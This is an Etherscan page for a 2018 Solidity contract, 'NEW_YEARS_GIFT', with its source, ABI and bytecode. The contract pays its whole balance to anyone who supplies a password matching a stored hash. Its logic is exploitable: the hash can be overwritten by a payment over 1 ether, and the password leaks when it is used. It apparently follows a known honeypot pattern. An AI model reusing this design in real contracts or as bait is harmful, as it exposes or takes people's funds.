Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Contract Name:
NEW_YEARS_GIFT
Compiler Version
v0.4.19+commit.c4cbbb05
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2018-02-14 */ pragma solidity ^0.4.19; contract NEW_YEARS_GIFT { string message; bool passHasBeenSet = false; address sender; bytes32 public hashPass; function() public payable{} function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);} function SetPass(bytes32 hash) public payable { if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 ) { hashPass = hash; sender = msg.sender; } } function SetMessage(string _message) public { if(msg.sender==sender) { message =_message; } } function GetGift(bytes pass) external payable returns (string) { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); return message; } } function Revoce() public payable { if(msg.sender==sender) { sender.transfer(this.balance); message=""; } } function PassHasBeenSet(bytes32 hash) public { if(msg.sender==sender&&hash==hashPass) { passHasBeenSet=true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"SetPass","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetGift","outputs":[{"name":"","type":"string"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"PassHasBeenSet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"hashPass","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_message","type":"string"}],"name":"SetMessage","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Revoce","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]
Contract Creation Code
60606040526000600160006101000a81548160ff021916908315150217905550341561002a57600080fd5b61077d806100396000396000f300606060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb0514610085578063181ffc5f146100a157806331fd725a1461013d57806387f244841461016457806388fabb3a14610195578063b456ecc5146101f2578063cd8b02c81461026b575b005b61009f600480803560001916906020019091905050610275565b005b6100c260048080359060200190820180359060200191909192905050610301565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101025780820151818401526020810190506100e7565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b610162600480803560001916906020019091905050610437565b005b341561016f57600080fd5b6101776104bf565b60405180826000191660001916815260200191505060405180910390f35b34156101a057600080fd5b6101f0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506104c5565b005b34156101fd57600080fd5b61024d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610535565b60405180826000191660001916815260200191505060405180910390f35b6102736105a1565b005b600160009054906101000a900460ff161580156102995750670de0b6b3a764000034115b806102ad5750600060010260025460001916145b156102fe578060028160001916905550336001806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b610309610698565b828260405180838380828437820191505092505050604051809103902060001916600254600019161415610430573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561038e57600080fd5b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b50505050509050610431565b5b92915050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049c5750600254600019168160001916145b156104bc5760018060006101000a81548160ff0219169083151502179055505b50565b60025481565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105325780600090805190602001906105309291906106ac565b505b50565b6000816040518082805190602001908083835b60208310151561056d5780518252602082019150602081019050602083039250610548565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610696576001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561066e57600080fd5b6020604051908101604052806000815250600090805190602001906106949291906106ac565b505b565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106106ed57805160ff191683800117855561071b565b8280016001018555821561071b579182015b8281111561071a5782518255916020019190600101906106ff565b5b509050610728919061072c565b5090565b61074e91905b8082111561074a576000816000905550600101610732565b5090565b905600a165627a7a72305820f9e75b571e5cc844db19a8ec40c13e1e017e53b41886adf61ea367f67e7ca4ae0029
Deployed Bytecode
0x606060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb0514610085578063181ffc5f146100a157806331fd725a1461013d57806387f244841461016457806388fabb3a14610195578063b456ecc5146101f2578063cd8b02c81461026b575b005b61009f600480803560001916906020019091905050610275565b005b6100c260048080359060200190820180359060200191909192905050610301565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101025780820151818401526020810190506100e7565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b610162600480803560001916906020019091905050610437565b005b341561016f57600080fd5b6101776104bf565b60405180826000191660001916815260200191505060405180910390f35b34156101a057600080fd5b6101f0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506104c5565b005b34156101fd57600080fd5b61024d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610535565b60405180826000191660001916815260200191505060405180910390f35b6102736105a1565b005b600160009054906101000a900460ff161580156102995750670de0b6b3a764000034115b806102ad5750600060010260025460001916145b156102fe578060028160001916905550336001806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b610309610698565b828260405180838380828437820191505092505050604051809103902060001916600254600019161415610430573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561038e57600080fd5b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b50505050509050610431565b5b92915050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049c5750600254600019168160001916145b156104bc5760018060006101000a81548160ff0219169083151502179055505b50565b60025481565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105325780600090805190602001906105309291906106ac565b505b50565b6000816040518082805190602001908083835b60208310151561056d5780518252602082019150602081019050602083039250610548565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610696576001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561066e57600080fd5b6020604051908101604052806000815250600090805190602001906106949291906106ac565b505b565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106106ed57805160ff191683800117855561071b565b8280016001018555821561071b579182015b8281111561071a5782518255916020019190600101906106ff565b5b509050610728919061072c565b5090565b61074e91905b8082111561074a576000816000905550600101610732565b5090565b905600a165627a7a72305820f9e75b571e5cc844db19a8ec40c13e1e017e53b41886adf61ea367f67e7ca4ae0029
Swarm Source
bzzr://f9e75b571e5cc844db19a8ec40c13e1e017e53b41886adf61ea367f67e7ca4ae
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 29 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.